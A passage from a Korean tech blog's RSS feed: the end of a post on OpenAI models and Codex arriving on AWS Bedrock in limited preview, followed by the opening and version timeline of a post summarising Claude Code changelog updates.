this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2022&quot; height=&quot;1104&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;1104&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;발표 내용 그대로 믿기 전에 현재 상태와 불확실성을 명확히 확인한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #dc3545; margin: 20px 0;&quot;&gt;&lt;b&gt;현재 상태 (2026-05-03 기준)&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;세 제품 모두 Limited Preview&lt;/b&gt; &amp;mdash; 신청 폼을 통해 접근. 모든 AWS 고객이 즉시 사용할 수 없다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;가격 미공개&lt;/b&gt; &amp;mdash; 구체적 가격표가 공개되지 않았다. 관심 고객은 문의 폼을 통해 연락하라고 안내한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;GA 일정 &quot;몇 주 내&quot;&lt;/b&gt; &amp;mdash; 정확한 날짜 없이 &quot;몇 주 내 일반 출시&quot;라고만 밝혔다. (출처: &lt;a href=&quot;https://openai.com/index/openai-on-aws/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI 발표&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;모델 ID 미확정&lt;/b&gt; &amp;mdash; Bedrock 콘솔에서의 실제 모델 식별자는 공개되지 않았다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;지역 가용성 미공개&lt;/b&gt; &amp;mdash; 어느 AWS 리전에서 가용한지 명시되지 않았다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #ffc107; margin: 20px 0;&quot;&gt;&lt;b&gt;대규모 발표에서 자주 나오는 함정&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&quot;AWS에서 GPT-5.5를 지금 바로 쓸 수 있다&quot;는 표현은 부정확하다. Limited Preview이므로 신청 후 승인을 받아야 접근 가능하다. GA 전 Limited Preview 단계에서는 기능&amp;middot;가격&amp;middot;API 인터페이스가 변경될 수 있다. 프로덕션 도입 결정은 GA 발표 이후 공식 문서를 확인하고 내리는 것이 안전하다.&lt;/div&gt;
&lt;!-- 섹션 12 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section12&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;12. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin: 20px 0 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. 지금 바로 AWS에서 GPT-5.5를 사용할 수 있나요?&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;A. 아니다. 2026년 4월 28일 기준 Limited Preview다. &lt;a href=&quot;https://openai.com/index/openai-on-aws/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;openai.com/index/openai-on-aws&lt;/a&gt; 페이지의 신청 폼을 통해 액세스를 요청해야 한다. GA는 &quot;몇 주 내&quot;로 예정됐다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. Azure OpenAI를 쓰고 있는데 AWS로 마이그레이션해야 하나요?&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;A. 즉각적인 전환 필요성은 없다. Azure OpenAI Service는 Microsoft의 비독점 라이선스(2032년까지)로 계속 운영된다. 마이그레이션은 AWS 워크로드와의 통합 필요성, 컴플라이언스 요구사항, OpenAI Frontier 도입 계획 등을 종합적으로 판단해야 할 사항이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. Codex on AWS와 GitHub Copilot의 차이는 무엇인가요?&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;A. GitHub Copilot은 IDE 코드 자동완성에 최적화된 반면, Codex on AWS는 코드 작성부터 리팩터링, 테스트, 레거시 현대화, 문서 작업까지 포괄하는 에이전트 제품이다. 또한 AWS IAM&amp;middot;컴플라이언스 환경과 통합된다는 점에서 엔터프라이즈 보안 요구사항을 충족하는 방식이 다르다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. OpenAI Frontier는 Google Cloud나 Azure에서도 쓸 수 있나요?&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;A. 현재 공개 정보 기준으로는 AWS가 OpenAI Frontier의 독점 외부 클라우드 배포처다. Azure나 Google Cloud에서는 Frontier를 쓸 수 없다. OpenAI 직접 판매는 별도다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. Trainium을 별도로 설정해야 하나요?&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;A. 아니다. Trainium은 OpenAI가 AWS 인프라 위에서 모델을 훈련&amp;middot;서빙하는 데 사용하는 내부 하드웨어다. 개발자가 Bedrock API를 호출할 때 Trainium을 직접 설정하거나 선택할 필요는 없다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 13 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section13&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;13. 결론 &amp;mdash; 언제 쓰고, 언제 기다리는가&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 발표를 한 문장으로 요약하면: OpenAI가 Azure 독점에서 벗어나 멀티클라우드 전략으로 전환했고, AWS가 그 첫 번째이자 가장 깊은 통합 파트너가 됐다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;권장 행동&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;AWS 기반으로 운영 중이고 OpenAI 모델 도입을 검토 중&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Limited Preview 신청 &amp;rarr; GA 후 공식 가격 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;Azure OpenAI로 이미 프로덕션 운영 중&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;즉각 전환 불필요. GA 이후 비교 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;엔터프라이즈 에이전트 플랫폼을 설계 중&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;OpenAI Frontier 공식 발표 확인 후 아키텍처 반영&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;규제 산업에서 GPT 도입을 검토 중&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;AWS PrivateLink + CloudTrail 통합 구조 우선 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;개인 개발자로 Codex를 써보고 싶다&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #d0e8ff;&quot;&gt;GA 대기 후 Codex CLI + Bedrock 인증 방식 시도&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px 25px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 25px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; font-size: 16px; margin: 0 0 10px 0; color: #0066cc;&quot; data-ke-size=&quot;size16&quot;&gt;도입 플레이북&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;오늘&lt;/b&gt;: &lt;a href=&quot;https://openai.com/index/openai-on-aws/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;openai.com/index/openai-on-aws&lt;/a&gt;에서 Limited Preview 신청 폼 작성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;이번 주&lt;/b&gt;: AWS 계정의 IAM 정책과 CloudTrail 설정을 Bedrock 신규 모델 호출에 맞게 검토&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;GA 이후&lt;/b&gt;: 가격 공개 후 Azure OpenAI 대비 비용&amp;middot;성능 비교, 팀 내 Codex 파일럿 프로젝트 선정&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전망은 명확하다. OpenAI의 멀티클라우드 전환은 모델 접근성을 높이는 동시에 클라우드 벤더 간 AI 경쟁을 본격화한다. AWS가 OpenAI Frontier의 독점 배포처라는 지위는 단기 이점이지만, 중장기적으로는 OpenAI 제품이 어느 클라우드에서나 쓰이는 세상을 향한 첫걸음이기도 하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금은 Limited Preview 신청을 해두고, GA 공식 발표에서 가격과 지역 가용성을 확인하는 것이 현실적인 다음 단계다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고 자료 --&gt;
&lt;h3 id=&quot;references&quot; style=&quot;font-size: 20px; color: #1a3a52; margin: 35px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;참고 자료&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공식 문서&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 15px 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://openai.com/index/openai-on-aws/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI on AWS &amp;mdash; 공식 발표 (2026-04-28)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://aws.amazon.com/about-aws/whats-new/2026/04/bedrock-openai-models-codex-managed-agents/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Amazon Bedrock, OpenAI Models&amp;middot;Codex&amp;middot;Managed Agents Limited Preview &amp;mdash; AWS What's New&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;파트너십 배경 및 재정&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 15px 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geekwire.com/2026/amazon-invests-50b-in-openai-deepens-aws-partnership-with-expanded-100b-cloud-deal/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Amazon invests $50B in OpenAI, deepens AWS partnership with expanded $100B cloud deal &amp;mdash; GeekWire&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://techcrunch.com/2026/04/27/openai-ends-microsoft-legal-peril-over-its-50b-amazon-deal/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI ends Microsoft legal peril over its $50B Amazon deal &amp;mdash; TechCrunch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.axios.com/2026/04/28/openai-microsoft-cloud-amazon&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI breaks free of Microsoft's cloud &amp;mdash; Axios&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;뉴스 보도&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 15px 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cnbc.com/2026/04/28/openai-brings-models-to-aws-after-ending-exclusivity-with-microsoft.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI brings models to AWS after ending exclusivity with Microsoft &amp;mdash; CNBC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://techcrunch.com/2026/04/28/amazon-is-already-offering-new-openai-products-on-aws/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Amazon is already offering new OpenAI products on AWS &amp;mdash; TechCrunch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geekwire.com/2026/openais-models-land-on-amazon-bedrock-one-day-after-microsoft-exclusivity-ends/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI's models land on Amazon Bedrock, one day after Microsoft exclusivity ends &amp;mdash; GeekWire&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;관련 발표&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 15px 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://techcrunch.com/2026/04/20/anthropic-takes-5b-from-amazon-and-pledges-100b-in-cloud-spending-in-return/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic takes $5B from Amazon and pledges $100B in cloud spending &amp;mdash; TechCrunch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.to/aws-builders/use-openai-codex-cli-with-amazon-bedrock-models-pay-as-you-go-48eb&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Use OpenAI Codex CLI with Amazon Bedrock Models &amp;mdash; DEV Community&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 푸터 --&gt;&lt;/div&gt;</description>
      <category>AI/AI 주간 News</category>
      <category>AI 에이전트</category>
      <category>amazon bedrock</category>
      <category>aws ai</category>
      <category>azure openai</category>
      <category>Bedrock Managed Agents</category>
      <category>Codex on AWS</category>
      <category>GPT-5.5</category>
      <category>OpenAI Frontier</category>
      <category>OpenAI on AWS</category>
      <category>멀티클라우드 AI</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/595</guid>
      <comments>https://goddaehee.tistory.com/595#entry595comment</comments>
      <pubDate>Wed, 6 May 2026 01:58:49 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code 4월 업데이트(v2.1.89~126 업데이트) 정리</title>
      <link>https://goddaehee.tistory.com/594</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2076&quot; data-origin-height=&quot;1114&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FoUY5/dJMcacC1eGp/sK1ijnescZkkKasVkY30Vk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FoUY5/dJMcacC1eGp/sK1ijnescZkkKasVkY30Vk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FoUY5/dJMcacC1eGp/sK1ijnescZkkKasVkY30Vk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFoUY5%2FdJMcacC1eGp%2FsK1ijnescZkkKasVkY30Vk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2076&quot; height=&quot;1114&quot; data-origin-width=&quot;2076&quot; data-origin-height=&quot;1114&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Claude Code가 v2.1.87 이후에도 빠르게 바뀌었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이번 글에서는 v2.1.89부터 v2.1.126까지 &lt;b&gt;공식 CHANGELOG 기준 27개 릴리스&lt;/b&gt;를 하나로 정리한다. v2.1.88은 npm 메타데이터에는 흔적이 있지만 현재 공식 CHANGELOG와 현재 registry artifact 기준으로는 일반 릴리스처럼 다루기 어렵다. 그래서 이 글에서는 v2.1.88을 별도 주의 사항으로만 짚고, 실제 기능 변화는 v2.1.89 이후를 중심으로 본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이번 업데이트의 핵심 : &lt;b&gt;Auto Mode가 더 조심스러워졌고, Opus 4.7과 effort 제어가 확장되었고, Remote Control&amp;middot;MCP&amp;middot;플러그인&amp;middot;보안 정책이 운영 도구답게 다듬어졌다.&lt;/b&gt;&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;버전 타임라인 (v2.1.89 &amp;rarr; v2.1.126)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;v2.1.88은 왜 조심해서 봐야 하나&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Auto Mode &amp;mdash; 자동 실행의 안전장치가 촘촘해지다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Opus 4.7 + xhigh effort &amp;mdash; 모델 체급과 조절 장치&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;No Flicker / TUI / Focus &amp;mdash; 터미널 UI의 큰 방향 전환&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Remote Control &amp;amp; Cloud &amp;mdash; 로컬 세션이 웹과 이어지다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;/ultrareview, /team-onboarding, /powerup &amp;mdash; 학습과 리뷰 도구&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;MCP &amp;amp; 플러그인 &amp;mdash; 더 늦게 로드하고, 더 안전하게 연결한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;훅 시스템 &amp;mdash; PreCompact, PermissionDenied, PostToolUse 확장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;보안 수정 &amp;mdash; Bash 권한, 샌드박스, managed settings&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;성능 &amp;amp; 안정성 &amp;mdash; /resume, 프롬프트 캐시, 긴 세션&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Windows &amp;amp; VSCode &amp;mdash; PowerShell이 본격적으로 들어오다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Provider / Gateway &amp;mdash; Bedrock, Vertex, Foundry, 커스텀 게이트웨이&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;v2.1.126에서 특히 확인할 변경&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;지금 확인해야 할 것&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 버전 타임라인&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;주요 헤드라인&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.88&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;현재 공식 CHANGELOG 항목 없음. npm 메타데이터 흔적은 있으나 일반 릴리스처럼 요약하지 않음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.89&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;NO_FLICKER&lt;/b&gt;, PermissionDenied 훅, named subagents, MCP nonblocking, Auto Mode denial UX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.90&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/powerup&lt;/b&gt;, explicit user boundary 존중, PowerShell 권한 하드닝, SDK 장기 세션 성능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.91~92&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;plugin bin 실행, &lt;code&gt;disableSkillShellExecution&lt;/code&gt;, fail-closed remote settings, Bedrock setup wizard, &lt;code&gt;/release-notes&lt;/code&gt; picker&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.94&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;기본 effort &lt;b&gt;high&lt;/b&gt; 전환(API key/Bedrock/Vertex/Foundry/Team/Enterprise), Bedrock Mantle 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.96~98&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Vertex setup wizard, Monitor tool, Linux subprocess sandbox, Bash 권한 우회 다수 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.101&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/team-onboarding&lt;/b&gt;, OS CA store trust, cloud env 자동 생성, command injection 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.105&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;EnterWorktree path, &lt;b&gt;PreCompact 훅&lt;/b&gt;, plugin monitors, &lt;code&gt;/proactive&lt;/code&gt; alias, stream hang 개선&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.108~110&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;1시간 prompt cache TTL, recap, built-in slash command Skill invocation, &lt;b&gt;/tui&lt;/b&gt;, Remote Control 명령 확장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.111&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Opus 4.7 xhigh&lt;/b&gt;, /effort slider, /ultrareview, /less-permission-prompts, Auto Mode 플래그 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.113&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;네이티브 바이너리 dispatch, &lt;code&gt;sandbox.network.deniedDomains&lt;/code&gt;, Bash deny rule 강화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.116&lt;/b&gt;&lt;/td&gt;
